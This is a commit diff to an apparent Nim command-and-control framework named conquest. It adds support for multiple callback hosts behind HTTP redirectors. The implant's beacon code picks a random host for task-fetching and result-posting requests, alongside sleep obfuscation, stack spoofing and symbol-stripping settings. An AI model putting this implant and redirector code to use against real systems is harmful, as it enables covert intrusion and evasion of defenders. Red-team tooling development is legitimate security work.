Implemented callback host system to support HTTP redirectors

This commit is contained in:
Jakob Friedl
2025-10-11 17:10:18 +02:00
parent 373eb497d9
commit f2d2833306
15 changed files with 145 additions and 90 deletions

View File

@@ -27,8 +27,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
var ctx = AgentCtx(
agentId: generateUUID(),
listenerId: Uuid.toString(unpacker.getUint32()),
ip: unpacker.getDataWithLengthPrefix(),
port: int(unpacker.getUint32()),
hosts: unpacker.getDataWithLengthPrefix(),
sleep: int(unpacker.getUint32()),
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
spoofStack: cast[bool](unpacker.getUint8()),

View File

@@ -48,7 +48,10 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
let responseBody = waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}")
# Select random callback host
let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)]
let responseBody = waitFor client.getContent(fmt"http://{host}/{endpoint[0..^2]}")
# Return if no tasks are queued
if responseBody.len <= 0:
@@ -94,7 +97,10 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
try:
# Send post request to team server
discard waitFor client.request(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}", requestMethod, body)
# Select random callback host
let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)]
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
except CatchableError as err:
echo "[-] " & err.msg

View File

@@ -1,10 +1,11 @@
import strformat, os, times, system, base64
import strformat, os, times, system, base64, random
import core/[http, context, sleepmask]
import protocol/[task, result, heartbeat, registration]
import ../common/[types, utils, crypto]
proc main() =
randomize()
# Initialize agent context
var ctx = AgentCtx.init()

View File

@@ -3,6 +3,6 @@
-d:release
--opt:size
--passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="255"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -179,72 +179,69 @@ proc addItem*(component: ConsoleComponent, itemType: LogType, data: string, time
itemType: itemType,
text: line
))
#[
Handling console commands
]#
proc displayHelp(component: ConsoleComponent) =
for module in getModules(component.agent.modules):
for cmd in module.commands:
component.addItem(LOG_OUTPUT, fmt" * {cmd.name:<15}{cmd.description}")
proc displayHelp(component: ConsoleComponent) =
for module in getModules(component.agent.modules):
for cmd in module.commands:
component.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(15) & cmd.description)
component.addItem(LOG_OUTPUT, "")
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
var usage = command.name & " " & command.arguments.mapIt(
if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]"
if it.isRequired: "<" & it.name & ">" else: "[" & it.name & "]"
).join(" ")
if command.example != "":
usage &= "\nExample : " & command.example
component.addItem(LOG_OUTPUT, fmt"""
{command.description}
Usage : {usage}
""")
component.addItem(LOG_OUTPUT, command.description)
component.addItem(LOG_OUTPUT, "Usage : " & usage)
if command.example != "":
component.addItem(LOG_OUTPUT, "Example : " & command.example)
if command.arguments.len > 0:
component.addItem(LOG_OUTPUT, "Arguments:\n")
let header = @["Name", "Type", "Required", "Description"]
component.addItem(LOG_OUTPUT, fmt" {header[0]:<15} {header[1]:<6} {header[2]:<8} {header[3]}")
component.addItem(LOG_OUTPUT, fmt" {'-'.repeat(15)} {'-'.repeat(6)} {'-'.repeat(8)} {'-'.repeat(20)}")
component.addItem(LOG_OUTPUT, "Arguments:")
for arg in command.arguments:
let header = @["Name", "Type", "Required", "Description"]
component.addItem(LOG_OUTPUT, " " & header[0].alignLeft(15) & " " & header[1].alignLeft(6) & " " & header[2].alignLeft(8) & " " & header[3])
component.addItem(LOG_OUTPUT, " " & '-'.repeat(15) & " " & '-'.repeat(6) & " " & '-'.repeat(8) & " " & '-'.repeat(20))
for arg in command.arguments:
let isRequired = if arg.isRequired: "YES" else: "NO"
component.addItem(LOG_OUTPUT, fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<6} {isRequired:>8} {arg.description}")
component.addItem(LOG_OUTPUT, " * " & arg.name.alignLeft(15) & " " & ($arg.argumentType).toUpperAscii().alignLeft(6) & " " & isRequired.align(8) & " " & arg.description)
component.addItem(LOG_OUTPUT, "")
proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
try:
proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
try:
# Try parsing the first argument passed to 'help' as a command
component.displayCommandHelp(getCommandByName(parsed[1]))
except IndexDefect:
# 'help' command is called without additional parameters
component.displayHelp()
except ValueError:
except ValueError:
# Command was not found
component.addItem(LOG_ERROR, fmt"The command '{parsed[1]}' does not exist.")
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
component.addItem(LOG_ERROR, "The command '" & parsed[1] & "' does not exist.")
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
# Convert user input into sequence of string arguments
let parsedArgs = parseInput(input)
# Handle 'help' command
if parsedArgs[0] == "help":
# Handle 'help' command
if parsedArgs[0] == "help":
component.handleHelp(parsedArgs)
return
# Handle commands with actions on the agent
try:
try:
let
command = getCommandByName(parsedArgs[0])
task = createTask(component.agent.agentId, component.agent.listenerId, command, parsedArgs[1..^1])
connection.sendAgentTask(component.agent.agentId, input, task)
component.addItem(LOG_INFO, fmt"Tasked agent to {command.description.toLowerAscii()} ({Uuid.toString(task.taskId)})")
component.addItem(LOG_INFO, "Tasked agent to " & command.description.toLowerAscii() & " (" & Uuid.toString(task.taskId) & ")")
except CatchableError:
except CatchableError:
component.addItem(LOG_ERROR, getCurrentExceptionMsg())
#[
@@ -254,7 +251,7 @@ proc print(item: ConsoleItem) =
if item.timestamp > 0:
let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss")
igTextColored(vec4(0.6f, 0.6f, 0.6f, 1.0f), fmt"[{timestamp}]".cstring)
igTextColored(vec4(0.6f, 0.6f, 0.6f, 1.0f), "[" & timestamp & "]")
igSameLine(0.0f, 0.0f)
case item.itemType:

View File

@@ -64,12 +64,13 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
ImGui_TableFlags_SizingStretchSame.int32
)
let cols: int32 = 4
let cols: int32 = 5
if igBeginTable("Listeners", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
igTableSetupColumn("Address", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Port", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Callback Hosts", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Protocol", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupScrollFreeze(0, 1)
@@ -93,6 +94,9 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
if igTableSetColumnIndex(2):
igText($listener.port)
if igTableSetColumnIndex(3):
for host in listener.hosts.split(";"):
igText(host)
if igTableSetColumnIndex(4):
igText($listener.protocol)
# Handle right-click context menu

View File

@@ -7,22 +7,25 @@ const DEFAULT_PORT = 8080'u16
type
ListenerModalComponent* = ref object of RootObj
address: array[256, char]
port: uint16
callbackHosts: array[256 * 32, char]
bindAddress: array[256, char]
bindPort: uint16
protocol: int32
protocols: seq[string]
proc ListenerModal*(): ListenerModalComponent =
result = new ListenerModalComponent
zeroMem(addr result.address[0], 256)
result.port = DEFAULT_PORT
zeroMem(addr result.callbackHosts[0], 256 * 32)
zeroMem(addr result.bindAddress[0], 256)
result.bindPort = DEFAULT_PORT
result.protocol = 0
for p in Protocol.low .. Protocol.high:
result.protocols.add($p)
proc resetModalValues(component: ListenerModalComponent) =
zeroMem(addr component.address[0], 256)
component.port = DEFAULT_PORT
zeroMem(addr component.callbackHosts[0], 256 * 32)
zeroMem(addr component.bindAddress[0], 256)
component.bindPort = DEFAULT_PORT
component.protocol = 0
proc draw*(component: ListenerModalComponent): UIListener =
@@ -43,27 +46,40 @@ proc draw*(component: ListenerModalComponent): UIListener =
defer: igEndPopup()
var availableSize: ImVec2
igGetContentRegionAvail(addr availableSize)
# Listener address
igText("Host: ")
# Listener protocol/type dropdown selection
igText("Protocol: ")
igSameLine(0.0f, textSpacing)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
igInputTextWithHint("##InputAddress", "127.0.0.1", addr component.address[0], 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
# Listener port
let step: uint16 = 1
igText("Port: ")
igSameLine(0.0f, textSpacing)
igSetNextItemWidth(availableSize.x)
igInputScalar("##InputPort", ImGuiDataType_U16.int32, addr component.port, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
# Listener protocol dropdown selection
igText("Protocol: ")
igSameLine(0.0f, textSpacing)
igSetNextItemWidth(availableSize.x)
igCombo_Str("##InputProtocol", addr component.protocol, (component.protocols.join("\0") & "\0").cstring , component.protocols.len().int32)
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
# HTTP Listener settings
if component.protocols[component.protocol] == $HTTP:
# Callback hosts
igText("Hosts (Callback): ")
igSameLine(0.0f, textSpacing)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
igInputTextMultiline("##InputCallbackHosts", addr component.callbackHosts[0], 256 * 32, vec2(0.0f, 3.0f * igGetTextLineHeightWithSpacing()), ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
# Listener bindAddress
igText("Host (Bind): ")
igSameLine(0.0f, textSpacing)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
igInputTextWithHint("##InputAddressBind", "0.0.0.0", addr component.bindAddress[0], 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
# Listener bindPort
let step: uint16 = 1
igText("Port (Bind): ")
igSameLine(0.0f, textSpacing)
igSetNextItemWidth(availableSize.x)
igInputScalar("##InputPortBind", ImGuiDataType_U16.int32, addr component.bindPort, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
igGetContentRegionAvail(addr availableSize)
@@ -72,13 +88,40 @@ proc draw*(component: ListenerModalComponent): UIListener =
igDummy(vec2(0.0f, 10.0f))
# Only enabled the start button when valid values have been entered
igBeginDisabled(($(addr component.address[0]) == "") or (component.port <= 0))
igBeginDisabled(($(addr component.bindAddress[0]) == "") or (component.bindPort <= 0))
if igButton("Start", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
if igButton("Start", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
# Process input values
var hosts: string = ""
let
callbackHosts = $(addr component.callbackHosts[0])
bindAddress = $(addr component.bindAddress[0])
bindPort = int(component.bindPort)
if callbackHosts.isEmptyOrWhitespace():
hosts &= bindAddress & ":" & $bindPort
else:
for host in callbackHosts.splitLines():
hosts &= ";"
let hostParts = host.split(":")
if hostParts.len() == 2:
if not hostParts[1].isEmptyOrWhitespace():
hosts &= hostParts[0] & ":" & hostParts[1]
else:
hosts &= hostParts[0] & ":" & $bindPort
elif hostParts.len() == 1 and not hostParts[0].isEmptyOrWhitespace():
hosts &= hostParts[0] & ":" & $bindPort
hosts.removePrefix(";")
# Return new listener object
result = UIListener(
listenerId: generateUUID(),
address: $(addr component.address[0]),
port: int(component.port),
hosts: hosts,
address: bindAddress,
port: bindPort,
protocol: cast[Protocol](component.protocol)
)
component.resetModalValues()

View File

@@ -229,15 +229,17 @@ type
Protocol* {.size: sizeof(uint8).} = enum
HTTP = "http"
Listener* = ref object of RootObj
Listener* = ref object
server*: Server
listenerId*: string
hosts*: string
address*: string
port*: int
protocol*: Protocol
UIListener* = ref object of RootObj
UIListener* = ref object
listenerId*: string
hosts*: string
address*: string
port*: int
protocol*: Protocol
@@ -301,8 +303,7 @@ type
AgentCtx* = ref object
agentId*: string
listenerId*: string
ip*: string
port*: int
hosts*: string
sleep*: int
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool

View File

@@ -16,8 +16,7 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepT
# Listener configuration
packer.add(string.toUuid(listener.listenerId))
packer.addDataWithLengthPrefix(string.toBytes(listener.address))
packer.add(uint32(listener.port))
packer.addDataWithLengthPrefix(string.toBytes(listener.hosts))
# Sleep settings
packer.add(uint32(sleep))

View File

@@ -13,7 +13,7 @@ proc serve(listener: Listener) {.thread.} =
except Exception as err:
discard
proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protocol: Protocol) =
proc listenerStart*(cq: Conquest, listenerId: string, hosts: string, address: string, port: int, protocol: Protocol) =
try:
# Create new listener
var router: Router
@@ -43,8 +43,9 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco
# Store listener in database
var listener = Listener(
server: server,
listenerId: name,
address: host,
listenerId: listenerId,
hosts: hosts,
address: address,
port: port,
protocol: protocol
)
@@ -54,16 +55,16 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco
createThread(thread, serve, listener)
server.waitUntilReady()
cq.listeners[name] = listener
cq.threads[name] = thread
cq.listeners[listenerId] = listener
cq.threads[listenerId] = thread
if not cq.dbListenerExists(name.toUpperAscii):
if not cq.dbListenerExists(listenerId.toUpperAscii):
if not cq.dbStoreListener(listener):
raise newException(CatchableError, "Failed to store listener in database.")
cq.success("Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on {host}:{$port}.")
cq.success("Started listener", fgGreen, fmt" {listenerId} ", resetStyle, fmt"on {address}:{$port}.")
cq.client.sendListener(listener)
cq.client.sendEventlogItem(LOG_SUCCESS_SHORT, fmt"Started listener {name} on {host}:{$port}.")
cq.client.sendEventlogItem(LOG_SUCCESS_SHORT, fmt"Started listener {listenerId} on {address}:{$port}.")
except CatchableError as err:
cq.error("Failed to start listener: ", err.msg)

View File

@@ -25,6 +25,7 @@ proc `%`*(agent: Agent): JsonNode =
proc `%`*(listener: Listener): JsonNode =
result = newJObject()
result["listenerId"] = %listener.listenerId
result["hosts"] = %listener.hosts
result["address"] = %listener.address
result["port"] = %listener.port
result["protocol"] = %listener.protocol

View File

@@ -16,6 +16,7 @@ proc dbInit*(cq: Conquest) =
conquestDb.execScript("""
CREATE TABLE listeners (
listenerId TEXT PRIMARY KEY,
hosts TEXT NOT NULL,
address TEXT NOT NULL,
port INTEGER NOT NULL UNIQUE,
protocol TEXT NOT NULL CHECK (protocol IN ('http'))

View File

@@ -107,6 +107,7 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
sessionKey: sessionKey,
tasks: @[] # Initialize empty tasks
)
agents.add(a)
conquestDb.close()
except:

View File

@@ -1,4 +1,4 @@
import system, terminal, tiny_sqlite
import strformat, strutils, system, terminal, tiny_sqlite
import ../core/logger
import ../../common/types
@@ -19,9 +19,9 @@ proc dbStoreListener*(cq: Conquest, listener: Listener): bool =
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
conquestDb.exec("""
INSERT INTO listeners (listenerId, address, port, protocol)
VALUES (?, ?, ?, ?);
""", listener.listenerId, listener.address, listener.port, $listener.protocol)
INSERT INTO listeners (listenerId, hosts, address, port, protocol)
VALUES (?, ?, ?, ?, ?);
""", listener.listenerId, listener.hosts, listener.address, listener.port, $listener.protocol)
conquestDb.close()
except:
@@ -37,11 +37,12 @@ proc dbGetAllListeners*(cq: Conquest): seq[Listener] =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT listenerId, address, port, protocol FROM listeners;"):
let (listenerId, address, port, protocol) = row.unpack((string, string, int, string))
for row in conquestDb.iterate("SELECT listenerId, hosts, address, port, protocol FROM listeners;"):
let (listenerId, hosts, address, port, protocol) = row.unpack((string, string, string, int, string))
let l = Listener(
listenerId: listenerId,
hosts: hosts,
address: address,
port: port,
protocol: stringToProtocol(protocol),

View File

@@ -84,7 +84,7 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
of CLIENT_LISTENER_START:
let listener = event.data.to(UIListener)
cq.listenerStart(listener.listenerId, listener.address, listener.port, listener.protocol)
cq.listenerStart(listener.listenerId, listener.hosts, listener.address, listener.port, listener.protocol)
of CLIENT_LISTENER_STOP:
let listenerId = event.data["listenerId"].getStr()
@@ -159,7 +159,7 @@ proc startServer*(profilePath: string) =
# Restart existing listeners
for listenerId, listener in cq.listeners:
cq.listenerStart(listenerId, listener.address, listener.port, listener.protocol)
cq.listenerStart(listenerId, listener.hosts, listener.address, listener.port, listener.protocol)
# Start websocket server
var router: Router